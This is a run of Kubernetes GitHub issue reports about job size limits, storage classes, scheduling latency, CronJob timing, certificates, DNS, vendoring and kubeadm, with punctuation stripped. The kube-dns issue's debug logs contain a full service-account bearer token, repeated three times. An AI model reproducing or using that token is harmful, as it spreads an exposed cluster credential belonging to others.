maximum allowed size\r    \r \r   what you expected to happen  :\r the job should run normally or fail early on creating.\r   how to reproduce it  as minimally and precisely as possible   :\r    \r  root@kubernetes-master yaml   cat bigmetajob.yaml\r apiversion: batch/v1\r kind: job\r metadata:\r   name: bigmetajob\r spec:\r   completions: 100\r   parallelism: 100\r   template:\r     metadata:\r       name: bigmetajob \r     spec:\r       restartpolicy: never\r       containers:\r       - name: bigmetajob\r         image: chenchun/hello \r         imagepullpolicy: never\r         command:  \ date\  \r         env:\r         - name: longlonglonglonglonglonglonglonglonglonglonglonglonglonglonglongkey\r           value: longlonglonglonglonglonglonglonglonglonglonglonglonglonglonglonglonglonglonglonglonglonglonglongvalue\r         - name: longlonglonglonglonglonglonglonglonglonglonglonglonglonglonglongkey\r           value: longlonglonglonglonglonglonglonglonglonglonglonglonglonglonglonglonglonglonglonglonglonglonglongvalue\r         - name: longlonglonglonglonglonglonglonglonglonglonglonglonglonglonglongkey\r           value: longlonglonglonglonglonglonglonglonglonglonglonglonglonglonglonglonglonglonglonglonglonglonglongvalue\r         ...\r \r  root@kubernetes-master yaml   du -sh bigmetajob.yaml \r 1.9m\tbigmetajob.yaml\r \r  root@kubernetes-master yaml   kubectl create -f bigmetajob.yaml \r job \ bigmetajob\  created\r    \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r >   \r \r   what happened  :\r \r currently v1.9 , when using the dynamic provisioning mechanism of pvc, the parameters required to create a volume are stored in  storageclass.parameters , includes the file system type. if we want to support more than one fs type for a specific volume plugin such as cinder, rbd, etc. ,we need to create a  storageclass  for each fs type, even though other parameters are the same. this approach makes things tricky, consider the following scenario:\r \r 1. we use both  cinder  and  rbd  in a single k8s cluster, and each provisioner supports both  ext4  and  xfs  file system type, so we need to create four  storageclass :  cinder-ext4 ,  cinder-xfs ,  rbd-ext4 ,  rbd-xfs \r \r 2. at the same time we want to set quota for each volume plugin. this is possible as we can't treat the quota of  cinder  and  rbd  as same. this requires us to set a quota for  cinder-ext4  and  cinder-xfs , and set another quota for  rbd-ext4  and  rbd-xfs . however we can't meet this requirement right now as we can only set quota for each single  storageclass  or for the whole  resources.storage .\r \r so maybe different file system types do not represent different  storageclass  in some usage scenarios.\r \r   proposed solution 1  \r \r we use  storageclass.parameters  as  default volume creation parameters and allow user to overwrite some parameters such as file system type  in pvc.\r \r 1. alpha: we allow users overwriting volume cereation parameters in  persistentvolumeclaim.annotations , each volume provisioner should read the parameters here before creating a volume. this approach ensures that the api is constant.\r \r 2. beta: add a  parameters map string string  field in  persistentvolumeclaimspec  instead of store parameters in  persistentvolumeclaim.annotations . this approach will make api change.\r \r   proposed solution 2  \r \r of course we can allow users setting a quota for a series of  storageclass  instead of for a single  storageclass  only, such as specified by a common name prefix or a name regex, but this is another topic. we can open another issue to talk about it if this is a reasonable demand.\r \r \r  

with the latest version of dep and a few tweaks, it now appears to be possible to get dep working with kubernetes.\r \r here are some learnings from getting dep to not crash for kops  cf https://github.com/kubernetes/kops/pull/4382  :\r \r   we created a script https://github.com/kubernetes/kops/pull/4382/commits/9fbbbcb76a141658c156b3fd4ffe01ca622fa44c which compares the versions in godeps.json to the versions resolved by dep\r   dep version resolution can be complicated, so we ended up effectively locking every dependency.  this is probably no bad thing, as otherwise it seems that introduction of new code in either the repo or a dependency could change the versions resolved  i.e. the builds might not be repeatable .   cf https://github.com/kubernetes/kops/pull/4382/commits/8c18d033fa35aa0d6d02c29e30a3c26cfad8b79a  \r    requires  blocks let us declare dependencies that are used by our build script, for example for apimachinery code generation  cf https://github.com/kubernetes/kops/pull/4382/commits/69ff65d91163f37d6cf3002e0f42aa26e6b46016  \r    github.com/chai2010/gettext-go  has a weird dependency in the version declared in godeps.json  at least in the 1.9 branch , so we had to deviate from that version and use  bf70f2a70fb1b1f36d90d671a72795984eab0fcb    hat-tip to @eparis  for the fix \r   for use with bazel, we use some horrific trickery: we  dep ensure , then we delete all the bazel files from vendor, then we run bazel with  bazel run //:gazelle -- -proto disable .  for projects which use proto in bazel, we then need to _revert_ the build.bazel changes outside the vendor directory  as we only want  --proto disable  in the vendor directory .   cf https://github.com/kubernetes/kops/pull/4382/commits/61b23a6eadd449bab43f40018ae7c5023fcad66c \r \r \r it's not ideal, we're basically use dep as a glorified wrapper around git pull, but at least it finally can be made to work.\r \r one intriguing option: this could solve our problem of coordinating versions for a release in a multi-repo world: we could publish a list of the dep  overrides  for each release.  in theory dep won't use those overrides unless the source code actually uses them  in theory .

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if this may be security issue, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r >   \r \r   what happened  :\r \r when nodes store more images, each scheduleone   will check every node's image list, and rebuild a image to image size map. this process can inflate the scheduling latency  the node scoring portion  by as much as 30% according to our measurements.\r \r   what you expected to happen  :\r \r ideally we should build a map once every time the node status is updated, and reuse the map across serving all pod requests before the next update.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r first, enable the image_locality policy in algorithmprovider/defaults/defaults.go. we ran about 50 nodes with each node storing about 100 images.\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.9.3\r - cloud provider or hardware configuration: aws ec2\r - os  e.g. from /etc/os-release : debian jessie\r - kernel  e.g.  uname -a  : 4.4.1\r - install tools: kops\r - others:\r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r  \r \r   what happened  :\r updating a  cronjob  schedule to a date/time _after_ the last successful run will cause the job to trigger immediately.\r \r   what you expected to happen  :\r the  cronjob  would not trigger until the schedule is satisfied; behaving similar to the creation of a new cronjob.\r \r i understand that  startingdeadlineseconds  means k8s will try to make up for a missed run by default, but the two problems with that behavior is:\r 1. it's different than the behavior when creation a cronjob, which never runs immediately.\r 2. it's unclear what times are considered _missed_ as i was unable to reproduce this using a time \ before\   based on the utc time before midnight  the  lastscheduletime . if this is the behavior when the schedule is changed, it should be consistent.\r \r   how to reproduce it  as minimally and precisely as possible   :\r   create a cronjob with a             schedule so that it triggers once  without a  startingdeadlineseconds  \r   change the schedule to something _before_ the cronjob's  lastscheduletime \r   wait for at least a couple minutes to pass\r   update the cronjob schedule to be a time between the  lastscheduletime  and the current time.\r   see that the cronjob runs, even if it is many hours before the current time\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.9.3

hi,\r \r i have generated my own certs for my kubernetes cluster. all components  apiserver, controller, scheduler, kubelet, etcd, docker  run as system-md service on linux.\r \r kubectl get pods, get svc, create, apply commands work just fine\r \r kubectl port-forward command fails with error \ error: error upgrading connection: unable to upgrade connection: unauthorized\ . \r my kubelet log says \  server.go:226  unable to authenticate the request due to an error: x509: certificate specifies an incompatible key usage\ \r \r i used cfssl gen cert command with client profile to generate certs for my user.  i even generated a csr with usage as \ client auth\  referencing the request as the csr of my user. \r \r please advise!\r \r thanks!

<!-- please only use this template for submitting enhancement requests -->\r \r   what would you like to be added  :\r \r   why is this needed  :\r \r address this:\r https://github.com/kubernetes/kubernetes/blob/197fc67693c2391dcbc652fc185ba85b5ef82a8e/pkg/controller/volume/persistentvolume/scheduler_binder.go l121-l125\r \r <!-- do not edit below this line -->\r  \r    proposal\r \r -  x  ctrl.kubeclient -> binder.kubeclient\r -  x  ctrl.classlister -> binder.classlister\r -  x  ctrl.isdelaybindingmode claim  -> persistentvolume.isdelaybindingmode claim, classlister \r -  x  ctrl.getbindvolumetoclaim pv, pvc  -> persistentvolume.getbindvolumetoclaim pv, pvc \r   -  x  persistentvolume.isvolumeboundtoclaim -> persistentvolume.isvolumeboundtoclaim\r -  x  ctrl.updatebindvolumetoclaim pv, pvc, false  is removed

the dns tests fail on our rktnetes e2e right now for two reasons:  1   metadata  not resolving due to  google.internal  not in the host's search path - on the coreos alpha image we're running on, the dhcp search domains we receive are not populated on the host, so they similarly don't end up in the container. when they're on the host this part of the test passes.  resolution: it's very likely a near-future coreos alpha release will resolve this issue. this is really a coreos bug, not a rktnetes one. alternate resolutions include a cloud-init that uses  dhcpcd  over systemd-resolved .  2  pod dns not resolving due to  hostname -i  not working in rkt - this is pretty much exactly https://github.com/coreos/rkt/issues/2223  resolution: if the above rkt issue is not fixed, the test can be altered to work   hostname -i  is a detail, not part of what needs to be tested . the following diff works for that:      -       probecmd += fmt.sprintf  podarec=$$ hostname -i| awk -f. '{print $$1\ -\ $$2\ -\ $$3\ -\ $$4\ .%s.pod.cluster.local\ }' ; , namespace  +       probecmd += fmt.sprintf  podarec=$$ ip -4 -o addr show dev eth0 | grep -eo \   0-9 {1,3}\\. {3} 0-9 {1,3}\ | awk -f. '{print $$1\ -\ $$2\ -\ $$3\ -\ $$4\ .%s.pod.cluster.local\ }' ; , namespace       it's preferable to fix the rkt issue however since it's possible users will also expect the hostname to resolve correctly in applications.  making the two changes above  dhcpcd + that patch  caused the tests to pass on rktnetes for me.

according to @justinsb this doesn't currently exist, but we should add it for 1.3.1 or 1.4  currently you can manage outside of kubernetes with the aws api.

the  groups  field of a subjectaccessreviewspec is being serialized as  group : https://github.com/kubernetes/kubernetes/blob/b841a8bad3855c5c4b95c7dd2596e22018f9af68/pkg/apis/authorization/v1beta1/types.go l119:      // groups is the groups you're testing for. groups   string  json:\ group,omitempty\  protobuf:\ bytes,4,rep,name=group\        this is already documented as  group  for v1beta1, so we can't easily change it now, but should be fixed in the v1 version

is this a bug report or feature request?    choose one :\r bug report\r \r   kubernetes version    use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 4\ , gitversion:\ v1.4.6\ , gitcommit:\ e569a27d02001e343cb68086bc06d47804f62af6\ , gittreestate:\ clean\ , builddate:\ 2016-11-12t05:22:15z\ , goversion:\ go1.6.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 4\ , gitversion:\ v1.4.6+coreos.0\ , gitcommit:\ ec2b52fabadf824a42b66b6729fe4cff2c62af8c\ , gittreestate:\ clean\ , builddate:\ 2016-11-14t19:42:00z\ , goversion:\ go1.6.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r   environment  :\r coreos-1185.3.0  baremetal \r hyperkube-v1.4.6_coreos.0\r \r   what happened  :\r i am seeing this repeating in my logs every 3 minutes\r    \r nov 29 08:37:06 core-minion05 kubelet-wrapper 1148 : e1129 13:37:06.881298    1148 glusterfs.go:109  glusterfs: failed to get endpoints gtfs-pool-0005 an empty namespace may not be set when a resource name is provided \r nov 29 08:37:06 core-minion05 kubelet-wrapper 1148 : e1129 13:37:06.881346    1148 reconciler.go:432  could not construct volume information: mountvolume.newmounter failed for volume \ kubernetes.io/glusterfs/d1142b29-b634-11e6-9b60-0018f3531b4f-gtfs-pool-0005\   spec.name: \ gtfs-pool-0005\   pod \ d1142b29-b634-11e6-9b60-0018f3531b4f\   uid: \ d1142b29-b634-11e6-9b60-0018f3531b4f\   with: an empty namespace may not be set when a resource name is provided\r    \r    sh\r $ kubectl get pv gtfs-pool-0005 -oyaml\r apiversion: v1\r kind: persistentvolume\r metadata:\r   annotations:\r     pv.kubernetes.io/bound-by-controller: \ yes\ \r   creationtimestamp: 2016-11-06t10:32:32z\r   labels:\r     type: gtfs\r   name: gtfs-pool-0005\r   resourceversion: \ 34998685\ \r   selflink: /api/v1/persistentvolumes/gtfs-pool-0005\r   uid: 537f898f-a40c-11e6-85f3-0018f3531b4f\r spec:\r   accessmodes:\r   - readwriteonce\r   capacity:\r     storage: 1gi\r   claimref:\r     apiversion: v1\r     kind: persistentvolumeclaim\r     name: kube-grafana\r     namespace: kube-system\r     resourceversion: \ 34998683\ \r     uid: 2f1be42a-b634-11e6-9b60-0018f3531b4f\r   glusterfs:\r     endpoints: glusterfs-cluster\r     path: gtfs-pool-0005\r   persistentvolumereclaimpolicy: retain\r status:\r   phase: bound\r    \r    sh\r $ kubectl get pvc kube-grafana -oyaml\r apiversion: v1\r kind: persistentvolumeclaim\r metadata:\r   annotations:\r     pv.kubernetes.io/bind-completed: \ yes\ \r     pv.kubernetes.io/bound-by-controller: \ yes\ \r   creationtimestamp: 2016-11-29t13:03:12z\r   labels:\r     k8s-app: influxgrafana\r   name: kube-grafana\r   namespace: kube-system\r   resourceversion: \ 34998687\ \r   selflink: /api/v1/namespaces/kube-system/persistentvolumeclaims/kube-grafana\r   uid: 2f1be42a-b634-11e6-9b60-0018f3531b4f\r spec:\r   accessmodes:\r   - readwriteonce\r   resources:\r     requests:\r       storage: 1gi\r   volumename: gtfs-pool-0005\r status:\r   accessmodes:\r   - readwriteonce\r   capacity:\r     storage: 1gi\r   phase: bound\r    \r given the e1129 error, are persistent volumes supposed to be namespaced?

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. :\r \r no.\r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r \r \ bazel\ \r \r ---\r \r   is this a bug report or feature request?    choose one :\r \r bug report.\r \r   kubernetes version    use  kubectl version  :\r \r master.\r \r   what happened  :\r \r golang.org/x/net/context clashed with a dependency in my project because it been vendored as source into the tree.\r \r   what you expected to happen  :\r \r i expected kubernetes to use go_rules features for vendoring in workspace, like so\r \r new_go_repository \r   name = \ org_golang_x_net\ ,\r   importpath=\ golang.org/x/net\ ,\r   commit=\ f4b625ec9b21d620bb5ce57f2dfc3e08ca97fce6\ \r  \r \r   how to reproduce it    as minimally and precisely as possible :\r \r build a small project that imports kubernetes as an external dependency like this:\r \r git_repository \r   name = \ io_k8s_kubernetes\ ,\r   remote = \ https://github.com/kubernetes/kubernetes\ ,\r   commit = \ ...\ ,\r  \r \r this allows use of the kubernetes build rules in the remote project. then, import golang.org/x/net as above and try to use it in a go_binary. the link step will fail.\r \r   anything else do we need to know  :\r \r i understand there may be concerns i'm not aware of here.  @mikedanese

is this a bug report or feature request?    choose one :\r bug\r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  :\r v1.5.1\r \r   environment  :\r -   cloud provider or hardware configuration  : azure\r -   os    e.g. from /etc/os-release : centos linux\r -   kernel    e.g.  uname -a  : 3.10.0-327.36.3.el7.x86_64\r -   install tools  : from scratch\r \r   what happened  :\r one of the things that the  kubedns  container does when it starts up is list and watch the endpoints and services. to do this, the  kubedns  container needs to communicate with the api server. however, some over the calls to the api server are not including the service account token in the request as the  authorization  header which is causing a timeout. see the logs below.\r \r   what you expected to happen  :\r i would expect each request to the api server to be constructed the same way  include the  authorization  header  and succeed.\r \r   how to reproduce it    as minimally and precisely as possible :\r bring up the kubernetes dns pod on a fresh cluster with the following config:\r    sh\r i0131 06:31:27.178764       5 dns.go:42  version: v1.6.0-alpha.0.680+3872cb93abf948-dirty\r i0131 06:31:27.179034       5 merged_client_builder.go:122  using in-cluster configuration\r i0131 06:31:27.179168       5 server.go:107  using https://10.254.0.1:443 for kubernetes master, kubernetes api: <nil>\r i0131 06:31:27.179560       5 server.go:63  configmap not configured, using values from command line flags\r i0131 06:31:27.179589       5 server.go:113  flag: --alsologtostderr=\ false\ \r i0131 06:31:27.179597       5 server.go:113  flag: --config-map=\ \ \r i0131 06:31:27.179602       5 server.go:113  flag: --config-map-namespace=\ kube-system\ \r i0131 06:31:27.179605       5 server.go:113  flag: --dns-bind-address=\ 0.0.0.0\ \r i0131 06:31:27.179609       5 server.go:113  flag: --dns-port=\ 10053\ \r i0131 06:31:27.179613       5 server.go:113  flag: --domain=\ cluster.local.\ \r i0131 06:31:27.179668       5 server.go:113  flag: --federations=\ \ \r i0131 06:31:27.179673       5 server.go:113  flag: --healthz-port=\ 8081\ \r i0131 06:31:27.179677       5 server.go:113  flag: --kube-master-url=\ \ \r i0131 06:31:27.179681       5 server.go:113  flag: --kubecfg-file=\ \ \r i0131 06:31:27.179684       5 server.go:113  flag: --log-backtrace-at=\ :0\ \r i0131 06:31:27.179689       5 server.go:113  flag: --log-dir=\ \ \r i0131 06:31:27.179693       5 server.go:113  flag: --log-flush-frequency=\ 5s\ \r i0131 06:31:27.179698       5 server.go:113  flag: --logtostderr=\ true\ \r i0131 06:31:27.179702       5 server.go:113  flag: --stderrthreshold=\ 2\ \r i0131 06:31:27.179705       5 server.go:113  flag: --v=\ 10\ \r i0131 06:31:27.179708       5 server.go:113  flag: --version=\ false\ \r i0131 06:31:27.179714       5 server.go:113  flag: --vmodule=\ \ \r    \r \r   anything else do we need to know  :\r \r here's the logs. note: some of the requests are formatted correctly   06:33:00.189354   and succeed while the ones that attempt to go without the correct header timeout   06:32:59.189034  :\r \r on the request that is timing out, when i do a curl on the host and add the header  like the request that succeeds , it works.\r \r    sh\r e0131 06:32:59.189034       5 reflector.go:199  pkg/dns/dns.go:145: failed to list  api.endpoints: get https://10.254.0.1:443/api/v1/endpoints?resourceversion=0: dial tcp 10.254.0.1:443: i/o timeout\r i0131 06:32:59.189195       5 round_trippers.go:318  get https://10.254.0.1:443/api/v1/services?resourceversion=0  in 30000 milliseconds\r i0131 06:32:59.189202       5 round_trippers.go:324  response headers:\r e0131 06:32:59.189228       5 reflector.go:199  pkg/dns/dns.go:148: failed to list  api.service: get https://10.254.0.1:443/api/v1/services?resourceversion=0: dial tcp 10.254.0.1:443: i/o timeout\r i0131 06:32:59.276682       5 round_trippers.go:318  get https://10.254.0.1:443/api/v1/namespaces/default/services/kubernetes  in 30000 milliseconds\r i0131 06:32:59.276696       5 round_trippers.go:324  response headers:\r i0131 06:32:59.276730       5 dns.go:176  ignoring error while waiting for service default/kubernetes: get https://10.254.0.1:443/api/v1/namespaces/default/services/kubernetes: dial tcp 10.254.0.1:443: i/o timeout. sleeping 1s before retrying.\r i0131 06:33:00.189184       5 reflector.go:234  listing and watching  api.endpoints from pkg/dns/dns.go:145\r i0131 06:33:00.189354       5 round_trippers.go:299  curl -k -v -xget  -h \ authorization: bearer eyjhbgcioijsuzi1niisinr5cci6ikpxvcj9.eyjpc3mioijrdwjlcm5ldgvzl3nlcnzpy2vhy2nvdw50iiwia3vizxjuzxrlcy5pby9zzxj2awnlywnjb3vudc9uyw1lc3bhy2uioijrdwjllxn5c3rlbsisimt1ymvybmv0zxmuaw8vc2vydmljzwfjy291bnqvc2vjcmv0lm5hbwuioijkzwzhdwx0lxrva2vulxg5yng1iiwia3vizxjuzxrlcy5pby9zzxj2awnlywnjb3vudc9zzxj2awnllwfjy291bnqubmftzsi6imrlzmf1bhqilcjrdwjlcm5ldgvzlmlvl3nlcnzpy2vhy2nvdw50l3nlcnzpy2utywnjb3vudc51awqioii5zwi1njc3yy1lnzzjltexztytotvmzc0wmdbkm2exmdewzmmilcjzdwiioijzexn0zw06c2vydmljzwfjy291bnq6a3vizs1zexn0zw06zgvmyxvsdcj9.vu-zonichyn1vosfhmrcdmoqpnh2j8rflmb2of4olaylnh0nyeu2tq4mh_n-6tobxgflpgb6dg7ojzfnfvxbrkd6f2psax-47apkyjignr6bgtnsckmxx3nud3ubkqwq8jpe-3llubecphjeijlicbuyot2sge1azdvz7ur-obkxuqwp5l0guvfi-akahble9d2llb9ptn2q6jvpyhaessldo8nzewxflabbiqhzrksgoi7miqs-hxumictxwdgdcos6lgt_r0uu7q88qhybwtdd-y-p5qvvwdnjrn9lifr9cq7bpbvphdp5cnmw-n13vrgmgcmkma05vqzr2sk3rg\  -h \ accept: application/json,  / \  -h \ user-agent: kube-dns/v1.6.0  linux/amd64  kubernetes/3872cb9\  https://10.254.0.1:443/api/v1/endpoints?resourceversion=0\r i0131 06:33:00.189580       5 reflector.go:234  listing and watching  api.service from pkg/dns/dns.go:148\r i0131 06:33:00.189661       5 round_trippers.go:299  curl -k -v -xget  -h \ accept: application/json,  / \  -h \ user-agent: kube-dns/v1.6.0  linux/amd64  kubernetes/3872cb9\  -h \ authorization: bearer eyjhbgcioijsuzi1niisinr5cci6ikpxvcj9.eyjpc3mioijrdwjlcm5ldgvzl3nlcnzpy2vhy2nvdw50iiwia3vizxjuzxrlcy5pby9zzxj2awnlywnjb3vudc9uyw1lc3bhy2uioijrdwjllxn5c3rlbsisimt1ymvybmv0zxmuaw8vc2vydmljzwfjy291bnqvc2vjcmv0lm5hbwuioijkzwzhdwx0lxrva2vulxg5yng1iiwia3vizxjuzxrlcy5pby9zzxj2awnlywnjb3vudc9zzxj2awnllwfjy291bnqubmftzsi6imrlzmf1bhqilcjrdwjlcm5ldgvzlmlvl3nlcnzpy2vhy2nvdw50l3nlcnzpy2utywnjb3vudc51awqioii5zwi1njc3yy1lnzzjltexztytotvmzc0wmdbkm2exmdewzmmilcjzdwiioijzexn0zw06c2vydmljzwfjy291bnq6a3vizs1zexn0zw06zgvmyxvsdcj9.vu-zonichyn1vosfhmrcdmoqpnh2j8rflmb2of4olaylnh0nyeu2tq4mh_n-6tobxgflpgb6dg7ojzfnfvxbrkd6f2psax-47apkyjignr6bgtnsckmxx3nud3ubkqwq8jpe-3llubecphjeijlicbuyot2sge1azdvz7ur-obkxuqwp5l0guvfi-akahble9d2llb9ptn2q6jvpyhaessldo8nzewxflabbiqhzrksgoi7miqs-hxumictxwdgdcos6lgt_r0uu7q88qhybwtdd-y-p5qvvwdnjrn9lifr9cq7bpbvphdp5cnmw-n13vrgmgcmkma05vqzr2sk3rg\  https://10.254.0.1:443/api/v1/services?resourceversion=0\r i0131 06:33:00.277016       5 round_trippers.go:299  curl -k -v -xget  -h \ user-agent: kube-dns/v1.6.0  linux/amd64  kubernetes/3872cb9\  -h \ authorization: bearer eyjhbgcioijsuzi1niisinr5cci6ikpxvcj9.eyjpc3mioijrdwjlcm5ldgvzl3nlcnzpy2vhy2nvdw50iiwia3vizxjuzxrlcy5pby9zzxj2awnlywnjb3vudc9uyw1lc3bhy2uioijrdwjllxn5c3rlbsisimt1ymvybmv0zxmuaw8vc2vydmljzwfjy291bnqvc2vjcmv0lm5hbwuioijkzwzhdwx0lxrva2vulxg5yng1iiwia3vizxjuzxrlcy5pby9zzxj2awnlywnjb3vudc9zzxj2awnllwfjy291bnqubmftzsi6imrlzmf1bhqilcjrdwjlcm5ldgvzlmlvl3nlcnzpy2vhy2nvdw50l3nlcnzpy2utywnjb3vudc51awqioii5zwi1njc3yy1lnzzjltexztytotvmzc0wmdbkm2exmdewzmmilcjzdwiioijzexn0zw06c2vydmljzwfjy291bnq6a3vizs1zexn0zw06zgvmyxvsdcj9.vu-zonichyn1vosfhmrcdmoqpnh2j8rflmb2of4olaylnh0nyeu2tq4mh_n-6tobxgflpgb6dg7ojzfnfvxbrkd6f2psax-47apkyjignr6bgtnsckmxx3nud3ubkqwq8jpe-3llubecphjeijlicbuyot2sge1azdvz7ur-obkxuqwp5l0guvfi-akahble9d2llb9ptn2q6jvpyhaessldo8nzewxflabbiqhzrksgoi7miqs-hxumictxwdgdcos6lgt_r0uu7q88qhybwtdd-y-p5qvvwdnjrn9lifr9cq7bpbvphdp5cnmw-n13vrgmgcmkma05vqzr2sk3rg\  -h \ accept: application/json,  / \  https://10.254.0.1:443/api/v1/namespaces/default/services/kubernetes\r i0131 06:33:04.675500       5 dns.go:515  query for \ kubernetes.default.svc.cluster.local.\ , exact: false\r i0131 06:33:04.675526       5 dns.go:743  not a federation query: len  \ kubernetes\  \ default\  \ svc\  \ cluster\  \ local\    != 4+len  \ local\  \ cluster\   \r i0131 06:33:04.675542       5 dns.go:634  found 0 records for  local cluster svc default kubernetes  in the cache\r i0131 06:33:04.675549       5 dns.go:641  getrecordsforpath retval=  , path= local cluster svc default kubernetes \r i0131 06:33:04.675554       5 dns.go:548  no record found for kubernetes.default.svc.cluster.local.\r i0131 06:33:05.276147       5 logs.go:41  skydns: failure to forward request \ read udp 192.168.225.130:41564->172.16.29.41:53: i/o timeout\ \r    \r \r

while glbc has been coaxed to handle duplicate ingress objects at creation time, it needs more logic to correctly handle deletion of federated ingresses. currently, deleting one of the ingress objects outside of  federation will cause the entire ingress to be torn down. eventually the federated controller re-creates the ingress object but the downtime should be omitted altogether. possible solutions include some form of adhoc refcounting mechanism or augmenting glbc to notice that there are more than one relevant forwarding rules attached to an ingress object at deletion time. details and design to be hashed out still.

this is not very high  @copejon @jeffvance i think a faster way to do this test instead of waiting for pvc to timeout is watch for a provisioningfailed event on the pvc and check that its reason is ~\ invalid zone.\ ~ \ kubernetes does not manage zone\  happy to work on a pr at some point if you guys agree

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r    \r null_resource.kubeadm_join.1  remote-exec :  kubeadm  warning: kubeadm is in beta, please do not use it for production clusters.\r null_resource.kubeadm_join.1  remote-exec :  preflight  running pre-flight checks\r null_resource.kubeadm_join.0  remote-exec :  preflight  some fatal errors occurred:\r null_resource.kubeadm_join.0  remote-exec :     hostname \ \  a dns-1123 subdomain must consist of lower case alphanumeric characters, '-' or '.', and must start and end with analphanumeric character  e.g. 'example.com', regex used for validation is ' a-z0-9   -a-z0-9   a-z0-9  ? \\. a-z0-9   -a-z0-9   a-z0-9  ?  ' \r null_resource.kubeadm_join.0  remote-exec :  preflight  if you know what you are doing,you can skip pre-flight checks with  --skip-preflight-checks \r null_resource.kubeadm_join.1  remote-exec :  preflight  warning: hostname \ \  could not be reached\r null_resource.kubeadm_join.1  remote-exec :  preflight  warning: hostname \ \  lookup : no such host\r null_resource.kubeadm_join.1  remote-exec :  preflight  some fatal errors occurred:\r null_resource.kubeadm_join.1  remote-exec :     hostname \ \  a dns-1123 subdomain must consist of lower case alphanumeric characters, '-' or '.', and must start and end with analphanumeric character  e.g. 'example.com', regex used for validation is ' a-z0-9   -a-z0-9   a-z0-9  ? \\. a-z0-9   -a-z0-9   a-z0-9  ?  ' \r null_resource.kubeadm_join.1  remote-exec :  preflight  if you know what you are doing,you can skip pre-flight checks with  --skip-preflight-checks \r    \r \r   what you expected to happen  :\r \r just some plain ol' joining and initializing.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r should just be able to  kubeadm init/join  with some machines that do not have resolvable hostnames. i don't even know if centos is a requirement.\r \r   anything else we need to know?  :\r \r centos 7.3, provisioned by terraform into a private esx cluster. dns is working just fine, but the machines do not have reverse lookup. ip addresses are used throughout.\r \r sorry, i cannot share detailed infrastructure data.\r \r    \r $ kubeadm version\r kubeadm version: &version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.1\ , gitcommit:\ 1dc5c66f5dd61da08412a74221ecc79208c2165b\ , gittreestate:\ clean\ , builddate:\ 2017-07-14t01:48:01z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r i think https://github.com/kubernetes/kubernetes/pull/40771/files is the problem.  net.lookuphost  only considers dns. should fallback to  os.hostname  literal response.\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r   \r   what happened  :\r the makemounts function  skips  https://github.com/kubernetes/kubernetes/blob/6fcf841d69165d4aa7a4cb630d512a615ba8645d/pkg/kubelet/kubelet_pods.go l131  adding volumes to the volumes list if the volume doesn't exist or mounter doesn't exist.\r \r this is potentially dangerous behavior because an application can write to the mount path  if it already exists in the container image  expecting it to be backed by a persistent volume, but in fact, is only backed by the container rootfs, which is ephemeral.\r \r we probably have not seen this issue manifest in the wild because the volume not existing or mounter being nil should never happen, and also the application would probably see a path/file does not exist error first.\r \r   what you expected to happen  :\r if we can't mount all of the user's requested volumes into the container, we should fail to start the container.\r \r /assign\r  node\r /cc @kubernetes/sig-storage-bugs @kubernetes/sig-node-bugs \r

